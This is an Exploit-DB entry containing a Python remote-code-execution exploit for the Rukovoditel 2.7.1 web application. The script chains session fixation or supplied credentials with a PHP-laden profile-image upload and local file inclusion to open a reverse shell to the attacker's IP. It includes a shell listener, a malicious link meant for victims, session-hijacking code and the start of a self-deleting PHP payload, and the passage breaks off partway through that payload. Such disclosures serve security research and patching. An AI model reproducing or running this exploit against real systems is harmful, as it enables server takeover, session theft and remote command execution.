Exploit-DB #48784
Description: Rukovoditel 2.7.1 - Remote Code Execution (2) (Authenticated)
Type: webapps
Platform: php
Date: 2020-09-02
Author: danyx07

Exploit:
#!/usr/bin/python3
# Exploit Title: Rukovoditel 2.7.1 - Remote Code Execution (Authenticated) 
# Exploit Author: @_danyx07
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: Rukovoditel < 2.7
# Tested on: Debian 9 Rukovoditel 2.6.1
# CVE : CVE-2020-11819
# Description : This exploit has two modes of execution, using the session fixation vulnerability (CVE-2020-15946) or using the access credentials of any account under any profile.
#   With the --type L option, this script will create a malicious link, if the link is accessed in a browser by the victim, an arbitrary session identifier will be set that will be used to steal their session after uploading an image with PHP content on their photo profile, and then use local file include (CVE-2020-11819) to get a nice reverse shell.
#   Or, with the options --type C -u <username> -p <password> you can provide credentials, load the image with PHP content and use local file inclusion (CVE-2020-11819) to achieve the execution of code. 
#   Protip: remember to check if the registration module is enabled ;)

import sys
import requests
from bs4 import BeautifulSoup
import re
import base64
import argparse
import os
from shutil import copyfile
import datetime
import hashlib
import socket
import threading
import time
import random
import uuid

__version__ = '1.0'

parser = argparse.ArgumentParser(description=
    "Post-authenticate RCE for rukovoditel, script version %s" % __version__,
                                     usage='\n  %(prog)s -t <target> -a L --ip attacker IP --port attacker port [options]\n  %(prog)s -t <target> -a C -u <username> -p <password> --ip attacker IP --port attacker port [options]\n\n')
         
parser.add_argument('-t', '--target', metavar='URL', type=str, required=True,
                    help='URL/Full path to CMS Rukovoditel http://url/path/to/cms/')
     
parser.add_argument('-u', '--user', type=str,
                    help='Username for authentication')
     
parser.add_argument('-p', '--password', type=str,
                    help='Password for authentication')
     
parser.add_argument('-a', '--type', required=True,  type=str,
                    help='Use -a L  to generate the link and steal the session or use -a C  if you have access credentials to the web application')
     
parser.add_argument('--ip', metavar="IP_ATTACKER", required=True,  type=str,
        help='IP attacker for reverse shell!')
     
parser.add_argument('--port', metavar="PORT_ATTACKER", required=True,  type=str,
                    help='Port for reverse shell connection')
     
parser.add_argument('--proxy', metavar="PROXY",
                    help='Setup http proxy for debbugin http://127.0.0.1:8080')
     
args = parser.parse_args()
     
# Global variables 
s = requests.Session()
url = args.target
user = args.user
pwd = args.password
typeAttack = args.type
IP=args.ip
PORT=args.port
proxyDict = {"http" : args.proxy, "https" : args.proxy}
csrf_token=""
pht=None
flag_access=False
sid = uuid.uuid4().hex
     
def serverShell():
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server_address = (IP,int(PORT))
    server.bind((server_address))
    server.listen(0)
    print("[+] Listening on %s:%s" % (IP,PORT))
    conn,addr = server.accept()
    print("[+] Accepted connection from %s and port %s" % (addr[0],addr[1]))
    print("Type 'quit' for exit")
    server.settimeout(10)
    while True:
        cmd = input()
        if cmd == 'quit':
            print("[-] Closing connection with the shell")
            conn.close()
            server.close()
            break

        cmd = cmd + "\n"
        if len(str(cmd)) > 0:
            command = conn.send(cmd.encode('utf-8'))
            try:
                response = conn.recv(2048)
                print(response.decode('utf-8'))
            except server.timeout:
                print("Didn't receive data!")
            finally:
                server.close()
    conn.close()

def authByCookie():
    global flag_access
    global sid
    url_hijack = url+'index.php?sid='+sid
    url_in = url+"index.php?module=dashboard/"
    print("[+] Send this URL to the victim -> %s" % url_hijack)
    while True:
        if flag_access == True:
            break

def checkAccess(stop):
    global flag_access
    time.sleep(3)
    while True:
        if typeAttack == 'L':
            s.cookies.clear()
            s.cookies.set('sid',sid)
        url_login = url+'index.php?module=users/account'
        r = s.get(url_login, proxies=proxyDict)
        response = r.text
        if response.find('account_form') != -1:
            print("[+] Access granted!")
            soup = BeautifulSoup(response, 'lxml')
            csrf_token = soup.find('input')['value']
            flag_access=True
        else:
            print("[-] Waiting for access")
        if stop():
            break
        time.sleep(3)
    return 0
    
def makeAuth():
    url_login = url+'index.php?module=users/login&action=login'
    r = s.get(url_login, proxies=proxyDict)
    html = r.text
    soup = BeautifulSoup(html, 'lxml')
    csrf_token = soup.find('input')['value']
    print("[+] Getting CSRF Token %s" % csrf_token )
    auth = {'username':user, 'password':pwd, 'form_session_token':csrf_token}
    print("[+] Trying to authenticate with username %s" % user)
    r = s.post(url_login, data=auth, proxies=proxyDict)
    response = r.text
    if response.find("login_form") != -1:
        print("[-] Authentication failed... No match for Username and/or Password!")
        return -1

def createEvilFile():
    rv = """
        /*<?php /**/
         unlink(__FILE__);
          @error_reporting(0);
          @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
          $dis=@ini_get('di